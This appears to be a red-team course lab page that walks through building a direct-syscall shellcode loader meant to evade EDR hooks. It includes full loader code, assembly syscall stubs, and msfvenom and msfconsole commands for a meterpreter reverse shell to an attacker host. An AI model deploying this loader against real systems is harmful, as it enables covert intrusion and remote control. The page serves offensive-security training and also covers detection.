-
-
Notifications
You must be signed in to change notification settings - Fork 95
12: Chapter 6 | LAB Exercise Playbook
Related to the Win32-API loader, in this exercise we will make the second modification, create the direct syscall loader and implement the required syscalls or syscall stubs from each of the four native functions directly into the assembly (loader).
The code template for this tutorial can be found here.
Task Nr. | Task Description |
---|---|
1 | Download the direct syscall loader POC for this chapter. |
2 | Most of the code is already implemented in the POC. However, you have to complete the direct syscall loader by performing the following tasks:
|
3 | Create a staged x64 meterpreter shellcode with msfvenom, copy it to the POC and compile it. |
4 | Create and run a staged x64 meterpreter listener using msfconsole. |
5 | Run your compiled .exe and check that a stable command and control channel opens. |
Task Nr. | Task Description |
---|---|
6 | Use the Visual Studio dumpbin tool to analyse the syscall loader. Are any Win32 APIs being imported from kernel32.dll ? Is the result what you expected? |
7 | Use x64dbg to debug or analyse the loader.
|
The code works as follows, shellcode declaration is done as before.
// Insert the Meterpreter shellcode as an array of unsigned chars (replace the placeholder with actual shellcode)
unsigned char code[] = "\xfc\x48\x83";
The main code of the direct syscall loader looks like the following and is already implemented. Again, we use the same native APIs to allocate memory, write memory, create a new thread and wait for the new thread to be created.
Code
#include <iostream>
#include <Windows.h>
#include "syscalls.h"
int main() {
// Insert Meterpreter shellcode
unsigned char code[] = "\xfc\x48\x83...";
// Allocate Virtual Memory with PAGE_EXECUTE_READWRITE permissions to store the shellcode
// 'exec' will hold the base address of the allocated memory region
void* exec = NULL;
SIZE_T size = sizeof(code);
NtAllocateVirtualMemory(GetCurrentProcess(), &exec, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Copy the shellcode into the allocated memory region
SIZE_T bytesWritten;
NtWriteVirtualMemory(GetCurrentProcess(), exec, code, sizeof(code), &bytesWritten);
// Execute the shellcode in memory using a new thread
// Pass the address of the shellcode as the thread function (StartRoutine) and its parameter (Argument)
HANDLE hThread;
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), exec, exec, FALSE, 0, 0, 0, NULL);
// Wait for the end of the thread to ensure the shellcode execution is complete
NtWaitForSingleObject(hThread, FALSE, NULL);
// Return 0 as the main function exit code
return 0;
}
Unlike the NTAPI-Loader, we no longer ask ntdll.dll
for the function definition of the native APIs we use. But we still want to use the native functions, so we need to define or directly implement the structure for all four native functions in a header file. In this case, the header file should be called syscalls.h
.
The syscalls.h
file does not currently exist in the syscall POC folder, your task is to add a new header file named syscalls.h
and implement the required code. The code for the syscalls.h
file can be found in the code section below. You will also need to include the header syscalls.h
in the main code.
Additional information if you want to check the function definition manually should be available in the Microsoft documentation, e.g. for NtAllocateVirtualMemory.
Details
Code
#ifndef _SYSCALLS_H // If _SYSCALLS_H is not defined then define it and the contents below. This is to prevent double inclusion.
#define _SYSCALLS_H // Define _SYSCALLS_H
#include <windows.h> // Include the Windows API header
// The type NTSTATUS is typically defined in the Windows headers as a long.
typedef long NTSTATUS; // Define NTSTATUS as a long
typedef NTSTATUS* PNTSTATUS; // Define a pointer to NTSTATUS
// Declare the function prototype for NtAllocateVirtualMemory
extern NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle, // Handle to the process in which to allocate the memory
PVOID* BaseAddress, // Pointer to the base address
ULONG_PTR ZeroBits, // Number of high-order address bits that must be zero in the base address of the section view
PSIZE_T RegionSize, // Pointer to the size of the region
ULONG AllocationType, // Type of allocation
ULONG Protect // Memory protection for the region of pages
);
// Declare the function prototype for NtWriteVirtualMemory
extern NTSTATUS NtWriteVirtualMemory(
HANDLE ProcessHandle, // Handle to the process in which to write the memory
PVOID BaseAddress, // Pointer to the base address
PVOID Buffer, // Buffer containing data to be written
SIZE_T NumberOfBytesToWrite, // Number of bytes to be written
PULONG NumberOfBytesWritten // Pointer to the variable that receives the number of bytes written
);
// Declare the function prototype for NtCreateThreadEx
extern NTSTATUS NtCreateThreadEx(
PHANDLE ThreadHandle, // Pointer to a variable that receives a handle to the new thread
ACCESS_MASK DesiredAccess, // Desired access to the thread
PVOID ObjectAttributes, // Pointer to an OBJECT_ATTRIBUTES structure that specifies the object's attributes
HANDLE ProcessHandle, // Handle to the process in which the thread is to be created
PVOID lpStartAddress, // Pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread
PVOID lpParameter, // Pointer to a variable to be passed to the thread
ULONG Flags, // Flags that control the creation of the thread
SIZE_T StackZeroBits, // A pointer to a variable that specifies the number of high-order address bits that must be zero in the stack pointer
SIZE_T SizeOfStackCommit, // The size of the stack that must be committed at thread creation
SIZE_T SizeOfStackReserve, // The size of the stack that must be reserved at thread creation
PVOID lpBytesBuffer // Pointer to a variable that receives any output data from the system
);
// Declare the function prototype for NtWaitForSingleObject
extern NTSTATUS NtWaitForSingleObject(
HANDLE Handle, // Handle to the object to be waited on
BOOLEAN Alertable, // If set to TRUE, the function returns when the system queues an I/O completion routine or APC for the thread
PLARGE_INTEGER Timeout // Pointer to a LARGE_INTEGER that specifies the absolute or relative time at which the function should return, regardless of the state of the object
);
#endif // _SYSCALLS_H // End of the _SYSCALLS_H definition
Furthermore, we do not want to ask ntdll.dll
for the syscall stub or the content or code of the syscall stub (assembly instructions mov r10, rcx
, mov eax, SSN
etc.) of the native functions we use, instead we have to implement the necessary assembly code in the assembly itself. As mentioned above, instead of using a tool to create the necessary assembly instructions, for the best learning experience we will manually implement the assembly code in our direct syscall POC. To do this, you will find a file called syscalls.asm
in the direct syscall loader POC directory, which contains some of the required assembler code. The code below shows the assembler code for the syscall stub of NtAllocateVirtualMemory
which is already implemented in the syscalls.asm
file.
Code
.CODE ; Start the code section
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
mov eax, 18h ; Move the syscall number into the eax register.
syscall ; Execute syscall.
ret ; Return from the procedure.
NtAllocateVirtualMemory ENDP
END ; End of the module
It is your task to add the syscalls.asm
file as a resource (existing item) to the direct syscall loader project and complete the assembler code or add the syscall stub for the other three missing native APIs NtWriteVirtualMemory
, NtCreateThreadEx
and NtWaitForSingleObject
.
If you are unable to complete the assembly code at this time, you can use the assembly code from the solution and paste it into the syscalls.asm
file in the direct syscall loader POC. Note that the syscalls IDs are for Windows 10 Enterprise 22H2 and may not work for your target. You may need to replace the syscalls IDs with the correct syscalls IDs for your target Windows version.
Solution
.CODE ; Start the code section
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
mov eax, 18h ; Move the syscall number into the eax register.
syscall ; Execute syscall.
ret ; Return from the procedure.
NtAllocateVirtualMemory ENDP ; End of the procedure.
; Similar procedures for NtWriteVirtualMemory syscalls
NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, 3Ah
syscall
ret
NtWriteVirtualMemory ENDP
; Similar procedures for NtCreateThreadEx syscalls
NtCreateThreadEx PROC
mov r10, rcx
mov eax, 0C2h
syscall
ret
NtCreateThreadEx ENDP
; Similar procedures for NtWaitForSingleObject syscalls
NtWaitForSingleObject PROC
mov r10, rcx
mov eax, 4
syscall
ret
NtWaitForSingleObject ENDP
END ; End of the module
We have already implemented all the necessary assembler code in the syscalls.asm
file. But in order for the code to be interpreted correctly within the direct syscall POC, we need to do a few things. These steps are not done in the downloadable POC and must be done manually.
First, we need to enable support for Microsoft Macro Assembler (MASM) in the Visual Studio project by enabling the option in Build Dependencies/Build Customisations.
Details
We also need to set the item type of the syscalls.asm
file to Microsoft Macro Assembler, otherwise we will get an unresolved symbol error in the context of the native APIs used in the direct syscall loader. We also set "Excluded from Build" to no and "Content" to yes.
Details
Again, we will create our meterpreter shellcode with msfvenom in Kali Linux. To do this, we will use the following command and create x64 staged meterpreter shellcode.
kali>
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IPv4_Redirector_or_IPv4_Kali LPORT=80 -f c > /tmp/shellcode.txt
The shellcode can then be copied into the direct syscall loader POC by replacing the placeholder at the unsigned char, and the POC can be compiled as an x64 release.
Before we test the functionality of our direct syscall loader, we need to create a listener within msfconsole.
kali>
msfconsole
msf>
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost IPv4_Redirector_or_IPv4_Kali
set lport 80
set exitonsession false
run
Once the listener has been successfully started, you can run your compiled direct syscall loader. If all goes well, you should see an incoming command and control session.
The Visual Studio tool dumpbin can be used to check which Windows APIs are imported via kernel32.dll
. The following command can be used to check the imports. Which results do you expect?
cmd>
cd C:\Program Files (x86)\Microsoft Visual Studio\2019\Community
dumpbin /imports Path/to/Direct_Syscall_Dropper.exe
Results
No imports from the Windows APIs VirtualAlloc
, WriteProcessMemory
, CreateThread
and WaitForSingleObject
from kernel32.dll. This was expected and is correct.
The first step is to run your direct syscall loader, check that the .exe is running and that a stable meterpreter C2 channel is open. Then we open x64dbg and attach to the running process, note that if you open the direct syscall loader directly in x64dbg, you need to run the assembly first.
Then we want to check which APIs (Win32 or Native) are being imported and from which module or memory location. Remember that in the direct syscall loader we no longer use Win32 APIs in the code and have implemented the structure for the native functions directly in the assembly. What results do you expect?
Results
Checking the imported symbols in our direct syscall loader, we should again see that the Win32 APIs VirtualAlloc
, WriteProcessMemory
, CreateThread
and WaitForSingleObject
are no longer imported by kernel32.dll
, or are no longer imported in general. So the result is the same as with dumpbin and seems to be valid.
Instead, we can identify the manually defined native functions in the .text section of the direct syscall loader.
We also want to identify the disassembled lines of code in the loader module where the calls to the native functions are made.
Results
We use the "Follow in Disassembler" function to analyse the direct syscall loader to identify the lines of code where the calls to the native functions are made.
We also want to check in which module the syscall stub or the assembler instructions of the native functions are implemented, or more precisely, from which module or memory location the syscall
and return
statements are executed. This will be important later when we compare direct and indirect syscalls.
Results
For example, in the context of the native function NtAllocateVirtualMemory
, we use the "Follow in Disassembler" function and should be able to see that the syscall stub is not retrieved from ntdll.dll
, instead the stub is implemented directly into the .text
section of the assembly. We can also see that the syscall
statement and the return
statement are executed from the memory location of the direct syscall loader assembly.
- Made transition from Native APIs to direct syscalls
- Loader imports no longer Windows APIs from
kernel32.dll
- Loader imports no longer Native APIs from
ntdll.dll
- Syscalls or syscall stubs are implemented into
.text
section of the loader itself - User mode hooks in
ntdll.dll
and EDR can be bypassed
- System Service Numbers (SSNs) are hard-coded into the POC.
- Direct syscalls can be detected if an EDR uses Event Tracing for Windows (ETW) or Event Tracing for Windows Threat Intelligence (EtwTi) to check from which memory area the syscall instruction or function return address was executed, or more specifically if the execution was outside of ntdll.dll memory.